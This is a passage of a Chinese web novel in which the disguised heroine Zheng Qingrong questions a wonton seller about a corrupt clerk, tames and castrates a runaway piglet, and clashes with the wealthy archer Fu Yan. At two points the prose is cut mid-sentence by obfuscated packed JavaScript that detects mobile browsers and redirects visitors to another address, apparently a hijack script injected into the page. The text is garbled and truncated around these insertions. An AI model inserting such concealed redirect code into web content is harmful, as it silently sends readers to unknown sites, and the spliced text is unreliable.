“那就没错了。”梅娘子在襜衣上擦了擦手,言笑晏晏似乎很是激动,“吴老爷子在我这里吃馄饨的时候提过一句,说是有位年轻的好心人帮他推了一路车,他想要当面答谢来着,但是年纪大了老糊涂,反而忘记问名字,只大概说了一下公子的长相,我这边人来人往的,人们你一句我一句的倒是知道了帮忙推车的是个十八九岁的青衣男子,见公子符合描述我便想着问问,不承想还真是。” 郑清容笑笑:“举手之劳,何足挂齿。” 看吧,她就说吃饭的这些地方消息最是广泛,早上她帮人推车的事都已经传到城东这边来了。 “公子可吃过饭了?”梅娘子想着现在正是饭点便随口问了一句。 郑清容讪讪:“不瞒姐姐说,听闻姐姐的馄饨是京中一绝,我便想着来一饱口福,可惜来得不巧,姐姐的馄饨似乎卖完了。” 听到别人夸自己的总是开心的,梅娘子笑靥生花:“馄饨是没了,面条你吃吗?” 说着,指了指那边的食材,“肉馅都包完了,还剩一些做馄饨皮的面,公子要是不嫌弃我给你擀碗面,不要钱,全当作答谢公子路见不平,推车相助。” “这怎么好意思?岂不是太麻烦姐姐了。”郑清容没想到峰回路转,因为自己先前的一个善意举动就能和这位梅娘子搭上话,心下也是几分意外。 梅娘子示意她到铺子里来:“不麻烦不麻烦,公子且先进来坐上片刻,面条马上就好。” 郑清容推辞不得,依言进去坐下:“如此便多谢姐姐了。” “都是小事,别客气。”梅娘子给她清理出一张干净的桌子,随后拿着擀面杖去擀面条。 旁边还有没吃完的客人,见到郑清容的特殊对待不由得嘿了一声:“梅娘子你这就不够意思了,大家伙都是来吃东西的,怎么他就有面条吃?” 郑清容干笑两声,正要开口说上几句解释解释,那边的梅娘子已经先她一步,揉着面回话的同时手上动作也不停:“人家公子帮了大忙呢,当然不一样,要是你也帮了忙,这碗面就是你的。” “那下次梅娘子需要帮忙可要叫我们!” “诸位要是真心帮忙还需要我来提醒?” 这略显泼辣的语气引得众人哈哈一笑,嬉嬉闹闹一番这才算罢。 郑清容含笑不语。 能在案板上讨生活的女子,少不了得有些脾气,不然怎么压得住这些嘴上没把门的男人。 她方才在茶铺那边看了许久,虽然馄饨铺子里间或有男人起哄调笑什么的,但都没人敢上手调戏逗弄,想必除了那位赵亭长的关照,也是因为这位梅娘子有几分本事在身上,这才没有人敢造次。 面条很快就被端了上来,是很简单的清汤面,汤底鲜香,素菜鲜嫩,葱花这么一洒,光是闻起来就十分诱人。 筷子递过来的同时梅娘子眨眨眼小声道:“在底下给你加了个蛋,嘘,只有你有,别告诉别人。” 郑清容颔首应下,做了个无声的道谢口型,接过筷子细细品尝起来。 虽然只是清汤面,但味道一点儿不差,足以称得上鲜美二字。 她吃陆明阜做的饭吃了这么些年,现在吃到旁人特意给她做的,倒是别有一番滋味。 “手上没什么合适的食材,就只能简单做一份清汤面,也不知道合不合你的口味,这样,下次你来,我给你做一碗肠旺面。”梅娘子补充道。 “很好吃,姐姐的厨艺很好,吃了这一碗我得想三年。”郑清容连连称赞,不动声色把话题转了回来,“姐姐和吴老爷子认识?” 左右现在也没什么事,梅娘子便坐下来和她说上几句:“来京城后认识的,吴老爷子妻死子亡,全家就只剩他一个人,一把年纪了还要出来讨生活,我也没什么能帮的,就每天给他一碗免费的馄饨吃,一来二去就混熟了。” 郑清容道了声原来如此。 说来也是奇了,她当面问吴老爷子家中人的时候对方闭口不谈有意回避,现在倒是轻轻松松从另一个人口中得知。 感觉就像是先前没想好借口,二人串通好后才得出来这样一个还算是说得过去的理由。 “也是个可怜人。”郑清容隐下心中的怪异,面上不动声色叹了一句,“听姐姐的意思,姐姐不是京城人?” “我和吴老爷子的情况差不多,爹娘去得早,和丈夫相依为命,丈夫死后我便独自来到京城,卖馄饨为生。” 听到这里,郑清容连忙道歉:“抱歉,让姐姐想起了伤心事。” “伤心当然是伤心的,但每一次伤心都在提醒我要好好活下去。”梅娘子笑道。 原本是在讲述她的过去,但她此刻平静得不像是话中人。 她这话听起来很合乎常理,但郑清容就是觉得有些轻飘飘的言外之意,想要再深入询问几句,梅娘子已经岔开了话题。 “够吃吗?不够的话我再去给你煮一份没有馅的汤圆子。” 郑清容连连摆手:“够了够了,已经吃得很饱了,多谢姐姐,姐姐不仅馄饨卖得好,面条也做得香,先前我看好多人都在排队,供不应求。” 说起馄饨这件事,梅娘子很是骄傲:“是啊,多亏了这门手艺,没让我饿死在街头,你不知道吧,上面的大人也喜欢来我这里吃馄饨,每天都要来吃上一碗。” “大人?那姐姐这生意做得不错啊!也算是打开官员市场了。” 梅娘子笑个不停:“哪有什么市场,都是小本生意,就那个刑部的赵什么来着,我听别人都叫他赵亭长,他就喜欢来我这里吃馄饨,这不,今早也是吃了才去上公的。” “赵勤赵亭长?”郑清容试探着问。 “对对对,就是他。”说到这里,梅娘子幽幽一叹,“起先我还以为他只是照顾我生意,谁知道有一天他说想照顾我,说我跟着他可以吃香的喝辣的,往后不必在案板上讨生活,还送了我好些贵重首饰。” “我一个寡妇最怕这些是是非非的了,吓得好几天不敢开门做生意,后来他可能是知道吓到我了,倒是不说什么娶我的事了,只是每次吃完馄饨后都用女儿家用的头面首饰来抵钱,你说不收吧我也就亏点儿钱,没什么大不了的,可是这人见我不收就硬塞给我,拉拉扯扯的,叫别人看去少不得添油加醋说些有的没的,我也只能作罢。” 一边说她还一边从怀里拿出来一支簪子:“喏,你看,这就是他今天用来抵馄饨钱的簪子。” 郑清容看向她手里的簪子,眼底滑过一丝别有深意的神色。 她还没问呢,对方就这般着急地拿了出来,似乎生怕她不知道一样。 再看簪子本身,做工是极好的,银簪素面,雕刻精致,簪头镶了一颗品相不错的珊瑚珠,光是这一颗珊瑚珠就价值不菲,更别说搭配上特殊的镂空技艺。 这可不是一个亭长的俸禄能买得起的。 想起先前在刑部司,她就听到赵勤说什么花了五个月就从掌固升到了亭长,一个亭长短短五个月的时间就能敛到这么多财,上面的令史又是怎样的光景? 开口就是三万两的改字费和两万两的封口费,罗世荣上任这么多年,又拿了多少? · 这厢,郑清容在馄饨铺里和梅娘子聊得正起劲,完全不知道刑部司因为真正的周公子到来而乱作一团。 反应过来的罗世荣怒甩赵勤一巴掌:“废物,连个人都能带错,我看你这双眼睛是白长了。” 赵勤被打了也不敢呼痛,一个劲磕头赔罪:“大人息怒,都是下官的错。” 干他们这行的都是见不得光的,想改字买命的人不肯露面,只事先让人传话约定好日子,到时候会以什么样的形式出现。 之前他带人带了这么多回都没出现过岔子,这次对方只说来人是个穿青衣的年轻人,他一来就看见有个青衣男子站在刑部司门口,一番对比之下并没有差别,是以先入为主以为他就是这次前来商讨事宜的周公子,谁能想到压根不是本人。 更可恶的是那人还装得挺像,叫他周公子时都不带心虚的,直接跟着他进厅堂了,就连和罗令史谈话时都没有露丝毫破绽。 “息怒有什么用,你现在要做的是找到那个人,这些事要是被他捅出去,你我的好日子就到头了。”罗世荣气得不行,反手砸了个茶盏。 之前他有恃无恐是因为别人花钱改文簿,本身就落了个把柄在他手里,他收钱办事,对方花钱买命,双方都是一荣俱荣一损俱损的状态,没有谁会蠢到揭发这些见不得光的事,伤敌一千,自损八百的事谁会做。 但现在突然冒出来一个假的周公子,套走了他收受贿赂的所有信息不说,事后还大摇大摆地走了。 这要是被捅到明面上,他就算有十个脑袋都不够砍的。 赵勤显然也是知道这件事的重要性,连连应是退下。 茶盏磕到了他的额头,茶渍和血液混在一起,很是狼狈。 底下的人一个个惶惶都不敢看。 谁不知道平日里就属赵亭长最受罗令史器重,靠着巴结谄媚,掌固做了没几个月就直接提拔成了亭长,平日里有什么重要的活都指给他干。 像现在这般惹了罗令史不快的情况,还是头一次。 赵勤掠过底下人或揣测或幸灾乐祸的表情,阴沉着一张脸:“看什么看,还不跟着我出去找人,都是一条绳上的蚂蚱,要是让人跑了有你们好果子吃”。 底下人诺诺应是,忙丢下手里的活跟着他出去找人。 一直忙得团团转的严牧丈二和尚摸不着头脑,只看见赵勤带着人急匆匆地出去,那架势估计找到人直接乱棍打死。 直觉告诉他今日这事和那位周公子脱不了干系。 能把赵勤弄成这番模样,那必然不是他先前以为的那样。 他错怪了。 严牧想要跟上去求证,就算有什么事也好及时做出反应,只是脚步刚动就听得罗世荣唤他。 “做什么去?手上的活都做完啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098635|162865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “罗大人,我看赵亭长那边似乎挺紧急的,我也想去帮忙。”严牧打着哈哈。 只是他惯不会撒谎,一番话说出来跟唱大戏似的,假得不行。 罗世荣呸了一声:“是真想帮忙还是帮倒忙,给我滚回来干活。” 严牧张了张嘴,想要说些什么,只是被罗世荣再三警告后不得不回来做事。 一边回来一边朝门口看了好几眼,心里盼着赵勤他们找不到人。 · 从馄饨铺子里出来,郑清容在街上溜达着消食。 摊贩售卖着新鲜的瓜果时蔬,货郎挑着扁担走街串巷,远处的捣衣声混杂着孩童们齐声诵读的三字经,此起彼伏,很是热闹。 只是热闹声里忽然多了一些不寻常的混乱,由远及近,自小而大,伴随着哼哼唧唧的某种动物声,以及摊子掀翻的落地声。 “谁家的猪跑到街上来了?” 人群里不知道谁喊了一句,惶惶一声,惊破了此间的安宁景象。 年迈的老人拄着拐杖避让,妇人连忙护着年幼的孩子,有摊贩试图驱赶,但那猪看着小小一只,膘不肥体不壮,没想到劲儿还挺大,一路上横冲直撞,不知道掀翻多少东西,怎么可能被吓唬几句就停下,不仅没被驱赶离开,反而愈加狂怒,直接顶翻了摊贩的铺子,售卖的东西滚落一地,又被重重踏碎。 倒是有在场的汉子见了准备上前拿下这只发狂的猪崽,不过饶是那汉子再是一身腱子肉,也被猪崽撞得站都站不稳,更别说慌忙之中去擒拿了。 惊呼声不绝于耳,现场一片混乱。 猪崽接二连三地被阻拦,也被激发了凶性,开始只是顶撞铺子,现在竟然胡乱撞人。 身形灵活反应及时的尚且可以利用地形和周围物件避上一避,老弱妇孺难免吃亏一些,眼看着猪崽就要扑倒其中一个孩子,人群一阵惊呼。 射猎归来的符彦正和一群世家子弟打马游街,个个神采奕奕,尽兴而归。 骑马走在最前头的符彦也不牵引缰绳,手持金弓做射箭姿势,总觉得今日射中梅花鹿的最后一箭不够完美,应该向左偏上半分,这样射出去才算是漂亮。 身后人你一言我一语细数今日射猎的结果,不忘恭喜他又拔得头筹。 回回拿第一,符彦对这种称赞和恭维并没有多大的表情变化,见这边吵闹不止,不由得眯了眯眼,喝一声:“箭来。” 当即便有侍从应声给他递上羽箭。 符彦拉弓搭弦,箭尖瞄准发狂的猪崽。 嗖的一声 箭矢离弦,破空而出。 几乎是在羽箭射出的那一刻,郑清容身形一动,带离孩子的同时踹了猪崽一脚。 人和猪刚一分开,下一刻,箭头擦着她的青衣衣角,铮的一声钉入地上,火花闪现间,箭身已经穿破地板,没入地面近半尺。 众人还没从猪崽袭击人的惊吓中回过神来,乍然看见地上不知何时插了根箭,一时又是惶惶。 符彦在马上眯着眼瞧,似乎对于有活物从自己箭下捡回一条命之事有些诧异。 要知道他的箭可从来没有射空过。 在他身后的世家子们也不由得一诧,要知道他们当中就属符彦射艺最好,百步穿杨箭无虚发,这要是换作平常,出现这种箭落空的事少不得要起哄几句。 但这一次,他们并没有出声。 倒不是因为不敢,而是因为他们的注意都被场中那位青衣少年给吸引了去。 不光是符彦,他们也是头一次看到有活物能从符彦的箭下逃过一劫,惊讶有之,惊奇更甚,不由得都向场中的那人看去。 将孩子送到安全地方,郑清容抄起卖鱼男人的绳子再次奔向猪崽。 彼时猪崽因为她那一脚还在地上扑腾,哼哧哼哧不住扭动着身子。 她那一脚并未伤它要害,只是让它暂时失去行动能力的同时避开飞速射来的箭矢,只要缓过这阵很快就会重新站起来。 郑清容拉起绳子就开始往猪崽的四肢上缠,她的手法很是讲究,起落辗转间已经绑住了猪崽的脚和嘴,动作利落又迅速。 期间猪崽倒是反抗过几次,但被她轻轻敲了一下猪头后就老实了,呼哧呼哧喘着粗气,完全没了先前的嚣张气焰。 围观的人犹如劫后余生,不敢想连壮实汉子都无法制服的猪崽居然就这样被一个看起来像是书生的年轻人给拿下了。 旁人看不出门道,但高坐马背上的符彦却是看得清楚,郑清容先前踹的那一脚无论是力度还是角度都极为刁钻,四两拨千斤,猛兽受了都能倒地不起,更别说一头猪崽了。 能从他的箭下抢走一条命,这少年有点儿实力。 先前被救下的孩子的父亲闻讯赶来,惊魂未定。 言语来往几句才知他在家里做事,一时不察孩子就跑出去了,听到孩子哭喊才得知发生了什么,一连向郑清容道谢。 郑清容让他好生安抚孩子,转头又问起猪崽是谁家的。 猪崽耳朵上有标记,绝不是野生的。 这时有妇人满头大汗跑着过来,口里念叨着“作孽”的字眼,连连给遭受损失的摊贩和受惊的人们赔钱赔不是。 妇人的态度很是不错,再加上没什么人受伤,纵然再怎么不快,但伸手不打笑脸人,嘴上抱怨指责几句也都大事化小小事化了。 见事态控制住了,郑清容上前询问猪崽跑上街的缘由。 妇人叫苦不迭:“说来也是闯鬼了,原本之前和阿昭姑娘约好了,今天来我家劁猪,谁能想到阿昭姑娘竟然是孟财主走失多年的女儿,孟家昨儿个把阿昭姑娘接回去了,这下也不好再麻烦别人不是,我还说重新约个劁猪匠,结果这猪不安分,一晃神就给它跑了出来,闹成现在这个样子,真是作孽哟老天。” 听到妇人这样说,郑清容颇为惊奇。 她的惊奇不是来自有女子做劁猪匠这件事,而是因为一日之内竟然能连续听到两位奇女子的故事。 上有才女打架,下有姑娘劁猪,或许对世俗来说,这些事很是颠覆世人对女子的刻板印象。 但师傅说过,女子的能力是无限的,永远不要用世俗的眼光去看待任何一位女子。 是以她从来不会受制于任何刻板印象,就像现在的惊叹也只是因为奇女子都聚到了一起。 不得不感叹一句,京城果然是京城。 阿昭姑娘作为唯一一个女劁猪匠,京城不少人都认识她,此刻听得妇人提起,也你一句我一句地说道起来。 “阿昭姑娘人那可是没的说,性格好手艺也好,不像那些个男劁猪匠,价要价高不说,你请他来劁猪就像请祖宗一样,好酒好菜备着,他还皮皮塌塌不干事。” “就是就是,上回我家请了一个劁猪匠,请吃饭给银子又请又求,对方还推三阻四嫌钱少,后面遇到了阿昭姑娘,说明情况后人家二话不说就来了,我茶都还没泡好她就把猪劁好了,手法那叫一个利落干净,我拿钱给她她说算是帮忙,只要了一些油米,其余的没拿任何钱。” “人家阿昭姑娘劁猪可从来不收钱的,报酬就是一些菜蔬米粮,我问过她为什么不要钱,她说饿死的感觉太难受,她和她娘就想吃顿饱饭,我当时还挺可怜这苦命孩子的,没想到竟然是孟大财主走失的女儿,唉,这些年真是受苦了。” 9.你方才看着我笑什么? 人们七嘴八舌地说着,全都是夸阿昭姑娘的,倒是忘了地上还有一支羽箭的存在。 郑清容在妇人们的交谈中逐渐拼凑出一个身世悲惨但为人善良的女子形象,好在故事的结局还算圆满,这位阿昭姑娘找到了家人,希望她的余生不要再像前半生那样颠沛流离。 视线落到深入地面的羽箭,郑清容看到了一个写着“彦”字的标记。 能把地面刺穿且箭身不折,不难看出这人箭术之高超。 不过让她更为之惊叹的却是这箭矢身上的金羽。 金羽脆弱且难得,观赏价值远高于实用价值,是以多用来制作珍品,用在箭身上,实在是暴殄天物,说白了就是败家。 心底实在好奇是哪位如此大手笔,郑清容不由得朝着箭矢射来的方向看去,隔着泱泱人群,正好对上街角还举着弓的符彦视线。 少年玄衣长靴,发带高束,端坐白马之上,尤其显得肩宽腿长,腰细臂广,最惹眼的要数他那迎着光的半张脸,蒙蒙光影里长眉入鬓,线条流畅,轮廓分明,很是漂亮。 不仅漂亮,还很干净,他身后的世家子等人衣角鞋边或多或少都有些尘土痕迹,唯独他身上一尘不染。 打眼这么一瞧,郑清容觉得自己的眼界被一股名为金钱的外力给强势撑开。 这少年手上的弓是做工华丽足有两臂长的金弓,□□的马是浑身雪练不含一丝杂色的照夜白,别的不说,单是这两样就抵得上十座金山银山了,难怪箭上贴金羽,原来是财大气粗! 先前听得人们说什么孟大财主,郑清清其实没有具体的概念,现在好了,有人这么水灵灵地出现在面前,把“我很有钱”几个字全写在了脸上,让她一下子有了实感。 这才是财主家的孩子吧,郑清容没忍住无声笑了笑,也是让她长见识了。 符彦原以为她见到自己会和普通人一样,不是战战兢兢就是退避三舍,结果对方居然笑了。 笑容很淡,但确实是笑了,笑罢便错开了视线,转去看地上的猪崽去了。 全程眼神里没有半分波动,更别说畏惧之色。 头一次遇到这种情况的符彦不由得皱了皱眉头,这年头居然有人不怕他,还对着他笑。 笑什么? 笑他的箭落空了是吗? 符彦呵了一声。 对他来说,那不是笑,分明是挑衅。 郑清容哪里知道符彦把她无意间的笑意当成了挑衅,她不过是想确定射箭的人是不是杀手什么的。 算算时间刑部司那边应该已经知道她是假的周公子了,该有所行动了。 她起先还以为这箭是刑部司那些人弄来的,但看到箭上贴了金羽,射箭的人又是个翩翩少年郎,她就打消了这个怀疑。 少年一群人衣着华贵,镶金嵌玉,身后侍从带着数不清的猎物,看那架势左右不过是世家子出游射猎,打马游街罢了,并不是什么杀手刺客,也不是冲她来的。 看了看地上被捆着的猪崽,郑清容问了那妇人一句:“大姐还需要劁猪吗?” “自然是需要的,只是现在还没找好劁猪匠。”妇人很是苦恼。 就是因为没有及时劁这猪崽,它才性情暴躁翻栏出逃,要是再等上几天不知道还会干出什么事来。 无奈那些劁猪匠霸道得很,因为阿昭姑娘抢了他们的生意,断了他们的财路,所以他们放出话来,说是但凡请过阿昭姑娘上门的,往后无论那户人家开出多高的价,他们都不会去劁猪。 她早就和阿昭姑娘约好了,就算没有上门也是已经定下的,那些劁猪匠早就知道了,是断然不会上门了。 从事劁猪的人少,四邻八乡的也就只有那么一两个,想要再去别的地方请,折腾不说,时间上还来不及。 郑清容看出妇人的焦灼,提了一句:“大姐要是信得过,我可以帮忙。” 妇人看了一眼她的打扮,有些怀疑:“小哥会劁猪?” 实在是眼前的人青衫布衣,斯斯文文的,一看就是读书人,哪有读书人会劁猪的? “不像吗?”郑清容顺着妇人打量的眼光看了一眼自己,笑道,“以前在家乡的时候替乡亲家的猪劁过,劁过的都说好。” 这倒不是她胡扯,她在扬州确实干过劁猪的活。 毕竟她和陆明阜年幼时都是吃百家饭长大的,都说吃人嘴软,她和陆明阜也不能白吃不是,所以闲暇之余陆明阜会给乡亲们的孩子辅导功课,她也会帮忙做些事抵饭钱,诸如放牛劁猪什么的事没少干,既能帮忙做事,又能找机会见师傅学东西,一举两得。 虽然人们总说她是个不识字的傻子,但那都是针对她所说的话,对于她做事,刚开始是有些不放心,但后来不仅没出过什么问题,还每次都能把事做得很好,久而久之倒是让人放心她帮忙了。 不过后来长大了些,她和陆明阜有了基本的生存能力,便搭了个家开始自己做生活,虽然也时不时给邻里乡亲搭把手帮忙,但她的重心也开始朝个人技能转移。 再后来,她女扮男装做了佐史,几乎都是以郑佐史的角色出现,除了处理公务也会和乡亲们打成一片顺手帮忙什么的,这个时候倒不用遮遮掩掩怕人发现不对,但相应的,冯时就很少出现在人们视野里了,只时不时出来露个面表示自己还活着。 不过饶是她再怎么成长变化,冯时不识字说疯话的傻子形象似乎深深烙印进了人们眼里,无论什么时候,只要提起她,都会说她是个大字不识的傻子。 并且因为有傻子这个先入为主的形象在,人们对于她长什么样子似乎没那么注意,准确来说是忽略了她的长相,所以后来她稍作改换,女扮男装做了扬州佐史也没人认出她就是冯时。 见妇人有所顾虑,郑清容又补了一句:“不收钱,劁坏了包赔。” 话都到了这个份上,周围人也在劝妇人试试:“刘家婶子,既然遇到了个会劁猪的,不如就试试,你现在另找人也来不及不是。” “对啊,我听他的口气应该是有些本事在身上的,试试也无妨,这没劁的猪多留一天就多担惊受怕一天。” “而且他刚刚不是说了吗?没做好包赔,我们大家伙都看着呢,他赖不掉的。” 周围人你一句我一句的应和,妇人也被说动,抱着死马当活马医的态度对郑清容道:“那便麻烦小哥了。” 事出突然,郑清容也没带相应的工具,只能给妇人交代了几样需要的东西。 一听说有人要当街劁猪,不少人都觉得这是个热闹,想要凑上一凑,于是都帮着妇人张罗起来。 很快,热水和草木灰都送了来,就是劁猪的刀具特殊,寻常人家压根没有那种特制的刀具,找了半天也就只拿了一把柴刀。 妇人对于柴刀能否劁猪表示怀疑,郑清容倒是无所谓,是刀就行,拿着比划了两下,还算趁手,便拾掇着准备劁猪。 这边挤挤攘攘说说笑笑,完全不像是刚刚被猪闹过一场的样子,马上的符彦见状扬手把金弓抛给侍从,翻身下马而去。 身后有少年不知道他要做什么,忙出声唤他:“小侯爷去哪儿?” 符彦摆摆手,头也不回地朝人群聚集的地方走去。 他步子大,几乎是三步两步就到了,彼时人群围得里三层外三层,他拨开挡在自己前面的人,直接站了过去。 被他拨开的人自是不愿意,好好地看热闹被人这么一扒,心里的火气也上来了,骂骂咧咧地就要呵斥。 结果一转头看见是他,骂人的话在嘴里转了几个旋才给憋回去,舌头都差点儿都闪了,这下别说是骂人了,那人光是看见符彦眉毛都抖上一抖,二话不说麻溜地跑去了别的地方。 人群本就拥挤,有什么动向都很明显。 两个人一进一退,很快就有人发现了符彦的存在,一个个如临大敌,纷纷避开给他让出一条路。 这下倒是不用符彦再拨开人了,跟前毫无阻挡,直接站到了最前面。 郑清容正要动手,眼前光线突然一黑,一团阴影笼罩下来,挡住了她的视线,让她不得不停下手上动作。 抬头一看,正是先前在马上射箭的那个美少年。 彼时美少年的目光落在略有杂乱的地面上,看了看地面又看了看自己的鞋,眉头紧锁面色难看。 少年人不会掩藏情绪,喜怒哀乐都写在脸上,尤其是厌恶的神色,郑清容不用猜也知道他此刻的表情是什么意思。 美少年这是嫌弃地脏呢,而且看样子似乎很是后悔自己是下马走过来的,一个劲瞅自己鞋子。 再看周围,先前挤在一起的人群都离他远远的,活像是怕遇上什么瘟神,想看劁猪的热闹又畏惧这位美少年,一时间围上来也不是,退出去也不是,只站得远远的,努力伸长脖子往她这边瞧。 好端端的美少年竟然能让百姓如此,这是身上有刺还是有毒? 不过有一点可以很肯定,这美少年出生很是富贵。 之前隔得远,她乍一看便觉得这美少年衣着华贵,现在人到了跟前,惊觉这哪里是华贵,简直是富贵。 衣料是千金难求的天云锦,腰带是价值连城的皮革,护腕是不可多得的金缕,就连鞋子边都用价无市的珠玉围了一圈。 最夸张的要数他腰间挂着的那柄短剑,刀柄含金,剑鞘上都镶了各种价值不菲的宝石,不多不少正好十六颗,阳光下金光闪闪,珠光宝气。 先前的金弓就已经让人瞠目了,没想到还有一柄金剑。 不愧是有钱人。 寻常人很难驾驭这样穿金戴银的打扮,尤其是这么多华贵的物件悉数堆叠在身上,搞不好就很容易显得庸俗,普通男子穿在身上只会是灾难,但这个美少年完全能压得住这身穿着,整个人往这里一站,就连天地都为之失色。 都说人靠衣装马靠鞍,还是鲜少见到有人能衬托衣裳的。 郑清容不知道他是谁,但这么有钱必然不是籍籍无名之辈,便开口询问:“这位兄台可是有事?” 听得她开口,符彦也不再去看什么鞋子地面了,转而对上她的目光。 他没有回答她的问题,反而居高临下地看着她,似乎要在她脸上看出一朵花来。 除却先前隔着街道遥遥相望那一眼,符彦脑海里并没有与这个人有关的其他印象。 准确来说,这世上能让他记住的人压根就没几个。 从来都是别人记住他,他才不需要去费脑子记别人谁是谁。 “你不认识我?”符彦没有回答郑清容的问题,而是反问她。 郑清容眨眨眼:“兄台介绍介绍我不就认识了?” 符彦嗤了一声。 难怪方才敢挑衅他冲着他笑,原来是不认识自己,无知无畏。 看来看去也没看出什么,符彦便把视线挪到了被郑清容按着的猪崽身上。 经过先前那一遭,猪崽身上有些脏,似乎知道接下来要失去什么了,哼哼唧唧的,哪怕是被绑着也很不安分,四肢不住挣扎扭动。 符彦蹙了蹙眉,眉目间难掩嫌弃之色,问郑清容:“做什么?” 原本有些乱乱的人群因为他的到来一个个噤若寒蝉,大气都不敢出。 也是这个时候人们才注意到地上那支箭上的金羽,整个东瞿也就只有一个人这样拿钱烧着玩,此刻见到箭矢是主人几乎是瞬间就想明白了为什么会在这里遇见他,看来是先前逮猪的时候惹了这位小霸王不高兴,来找场子了。 谁不知道符彦这个小霸王目中无人眼高于顶,在京城素来是横着走的,惹到他绝对没有好果子吃。 众人目光在符彦和郑清容身上来来回回地转,都在想今天这事会以怎样的结局收场。 妇人也是知道符彦的行事作风,想要出言提醒郑清容几句,无奈符彦压根不给她机会,一个眼神扫射过来就让人不敢再多话。 “劁猪。”郑清容不清楚这其中的内情,回答得很是干脆。 见符彦似乎不是很懂劁猪是什么意思,她还特意解释了一句,“和净身去势是一个意思。” 闻言,符彦的脸色一下子就变了,看郑清容的眼神就跟看怪物似的。 大概是第一次见到有人当街做这种事,表情很是复杂。 郑清容一看他那神情就知道他在想什么。 不过也正常,富贵人家的公子,哪里接触过这些。 “兄台你有所不知,猪不劁不胖,肉质口感也不好,现在虽然是不大好闻,但长膘后吃起来就香了。” 郑清容有意给他解释一下这样做的原因和必要性,但符彦压根不想知道,打断她直切正题:“我且问你,先前为何拦我的箭?” 郑清容哦了一声,敢情在这儿站半天是为了问这个。 她也没什么好隐瞒的,事都做了,还怕告诉他人?于是正色道:“猪崽发狂伤人,兄台一箭射杀虽然能及时遏制事态发展,但蓄养猪崽的人家不就因此损失了一头猪?多少人家一年到头就指望着一头猪过个好年,直接射杀未免太过可惜,既然有别的法子阻止它伤人,又何须伤它一条性命?” 从小锦衣玉食在锦绣堆里长大的符彦从未想过这个层面,被她这么一说不由得一愣。 骄傲如他,当然不可能承认自己的认知不足,更不可能给人机会瞧出来他此刻的怔愣,于是当即又脑子灵光地砸出一句反问,再次把矛头指向郑清容:“那你方才看着我笑什么?很好笑吗?” 郑清容一开始没弄明白他这话是从哪里来的,直到想起自己先前确实被他财大气粗不差钱的架势给弄笑过。 反应过来的郑清容简直哭笑不得,觉得这美少年不仅思维跳跃,说话东一榔头西一棒子的,脑回路还非常清奇。 笑就笑了,哪有这么多为什么? 告诉他是笑他很有钱? 这又何尝不是被自己给穷笑了? “嗯……要不我哭一个?”郑清容想了想,给了他一个有些滑稽的答复。 人群中也不知道是谁没忍住噗嗤一声笑出来,声音突兀,饶是及时收住也引得现场一阵乱乱。 这可笑不得,谁敢笑这位小霸王啊? 这下换符彦没话说了。 看着他笑不对,看着他哭就更不对了。 他有心想去找方才是谁笑出声,但一眼看过去所有人都是一副又惧又怕的憋笑表情,压根分辨不出来那短促的笑声来自于谁。 而先前想要找人麻烦的气势也因为郑清容这三两句插科打诨给磨灭不少,等他想起自己是来干嘛的时候,郑清容已经不打算再和他说这些有的没的了。 “兄台可否让一让,我要开始劁猪了。”郑清容一手按着猪,一手抓着柴刀,看样子确实要准备劁猪了。 没去势的猪崽劲头不小,一般来说劁猪时都需要有人在旁边帮忙稳住猪崽,防止它乱动导致割伤,但此刻郑清容一个人就把猪崽控制住了,猪崽在她手底下压根动弹不得。 符彦怎么可能如她的意,扬了扬下巴,把霸道作风贯彻到底:“不让。” 从来只有别人让他,哪有他让别人的? 再说了,他本来就是来给她找不痛快的,如何能答应? 郑清容点点头,也不生气,顾自抓了一把猪草喂给猪崽,趁着猪崽吃东西的时候,手起刀落。 紧接着,一前一后两声惊叫随即传来。 前者声音虽惨,但极为短促,有草木灰敷着,痛过那一瞬也就没什么了。 而后者的声音就显得突出和特殊了,因为不是来自猪崽,而是来自人。 符彦看了一眼溅在衣角的些许血迹,眉头一竖,退开好几步的同时已经把衣服给脱了扔出去,指着郑清容怒喝:“放肆。” 他刚才还在看郑清容要如何应对他的不让之举,谁想到对方压根不带怕的,一柴刀下去,血都溅到了他身上来。 他一向喜洁,就算是射猎归来也要全身上下都换上干净的衣物鞋袜才行,此刻身上沾上了血迹,还是牲畜那种地方的,叫他如何能忍? 郑清容摊了摊手,对此表示无辜:“我说了请你让一让的。” 她手里拿的又不是专门劁猪的工具刀,溅血是难免的,更何况符彦还站在她正对面,不溅他身上溅哪里? “你……”符彦气得说不出话。 一想到衣服上沾了猪身上的那种血,纵然已经扒下了外层的衣衫,但他还是觉得身上还带着那种腥臭恶心的味道。 脏污的刺激让他难受不已,当下也顾不上找郑清容麻烦,只想回去洗洗干净。 三步并作两步跨上马背,符彦调转马头,打马扬尘而去,那背影,颇有些落荒而逃。 他身后的少年们不知道发生了什么事怎么就脱了衣服,一时间摸不着头脑,但见符彦走了,也纷纷打马追去。 不光是他们,周围人也没反应过来是怎么一回事,就见郑清容已经洗手收拾东西宣告结束了。 本以为今天撞上小霸王符彦,少不得要大闹一场。 没想到最后就是脱件衣服,其余的啥也没有发生,符彦居然就这样走了,简直不可思议。 这还是开天辟地头一回,也不知道是好事还是坏事。 郑清容解开猪崽身上的绳子,猪崽一下子翻身起来,虽然活力不减,但不像先前那般发狂发凶,温顺得不行。 明眼人一看就知道劁猪很成功。 “好了,大姐现在可以把它带回去了,往后它不会再跑出来伤人。”郑清容一边说把猪崽往妇人那边引了引。 妇人还处在状况之外,被她这么一提醒才回过神来,上前连连道谢,却在看到地上被丢弃的衣裳时欲言又止。 郑清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 